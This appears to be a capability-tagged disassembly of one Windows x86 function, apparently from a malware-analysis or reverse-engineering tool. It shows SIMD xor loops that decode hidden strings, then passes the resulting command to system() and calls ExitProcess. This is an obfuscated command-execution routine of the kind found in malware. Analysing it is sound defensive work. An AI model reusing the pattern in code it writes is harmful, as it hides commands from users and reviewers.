Function at 0x453eb0
Capabilities:
Encode data using xor
Execute command
Terminate process

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5d2268
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0xf8
mov eax, dword [0x659bc0]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x90]
mov dword [ebp - 4], 0
push eax
call fcn.004542e0
mov esi, dword [0x665d98]
mov edi, eax
cmp byte [edi + 0x1a], 0
je 0x454082
xor ecx, ecx
cmp esi, 2
jl 0x454054
movaps xmm0, xmmword [0x64a720]
mov esi, 4
movaps xmm4, xmmword [0x64a650]
mov edx, edi
movaps xmm3, xmmword [0x64a6f0]
sub esi, edi
movaps xmm5, xmmword [0x64a670]
movaps xmmword [ebp - 0x100], xmm0
mov eax, dword [ebp - 0x100]
movd xmm0, ecx
add ecx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a6d0]
packuswb xmm1, xmm1
movd xmm0, eax
lea eax, [esi + edx]
lea edx, [edx + 8]
paddb xmm1, xmm0
movd xmm0, dword [edx - 8]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [edx - 8], xmm1
paddd xmm2, xmm4
mov eax, dword [ebp - 0x100]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a6d0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [edx - 4]
xorps xmm1, xmm0
movd dword [edx - 4], xmm1
cmp ecx, 0x18
jl 0x453f53
cmp ecx, 0x1b
jge 0x45407c
mov eax, 0x94f2095
lea esi, [ecx + edi]
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dl, cl
movsx eax, al
inc ecx
imul eax, eax, 0x37
sub dl, al
add dl, 0x35
xor byte [esi], dl
cmp ecx, 0x1b
jl 0x454054
mov esi, dword [0x665d98]
push edi
lea ecx, [ebp - 0x74]
call fcn.0046efe0
mov ecx, eax
mov byte [ebp - 4], 1
call fcn.0046edb0
mov dword [ebp - 0xf0], eax
lea eax, [ebp - 0xe8]
push eax
call fcn.004542c0
mov edi, eax
cmp byte [edi + 0x56], 0
je 0x454242
xor ecx, ecx
mov dword [ebp - 0xec], ecx
cmp esi, 2
jl 0x454210
movaps xmm0, xmmword [0x64a720]
mov esi, 4
movaps xmm4, xmmword [0x64a650]
mov edx, edi
movaps xmm3, xmmword [0x64a6f0]
sub esi, edi
movaps xmm5, xmmword [0x64a670]
movaps xmmword [ebp - 0x100], xmm0
mov eax, dword [ebp - 0x100]
nop word [eax + eax]
movd xmm0, ecx
add ecx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a6d0]
packuswb xmm1, xmm1
movd xmm0, eax
lea eax, [esi + edx]
lea edx, [edx + 8]
paddb xmm1, xmm0
movd xmm0, dword [edx - 8]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [edx - 8], xmm1
paddd xmm2, xmm4
mov eax, dword [ebp - 0x100]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a6d0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [edx - 4]
xorps xmm1, xmm0
movd dword [edx - 4], xmm1
cmp ecx, 0x50
jl 0x454100
mov dword [ebp - 0xec], ecx
cmp ecx, 0x57
jge 0x454242
nop word [eax + eax]
mov eax, 0x94f2095
lea esi, [ecx + edi]
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x37
sub cl, al
add cl, 0x35
xor byte [esi], cl
mov ecx, dword [ebp - 0xec]
inc ecx
mov dword [ebp - 0xec], ecx
cmp ecx, 0x57
jl 0x454210
push edi
lea ecx, [ebp - 0x5c]
call fcn.0046efe0
lea ecx, [ebx + 8]
mov byte [ebp - 4], 2
push ecx
mov ecx, eax
call fcn.0046edb0
push eax
lea eax, [ebp - 0x44]
push eax
call fcn.00471350
push dword [ebp - 0xf0]
mov byte [ebp - 4], 3
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.00471300
add esp, 0x18
mov ecx, eax
call fcn.0046edb0
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
lea ecx, [ebp - 0x2c]
call fcn.0046ef10
lea ecx, [ebp - 0x44]
call fcn.0046ef10
lea ecx, [ebp - 0x5c]
call fcn.0046ef10
lea ecx, [ebp - 0x74]
call fcn.0046ef10
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]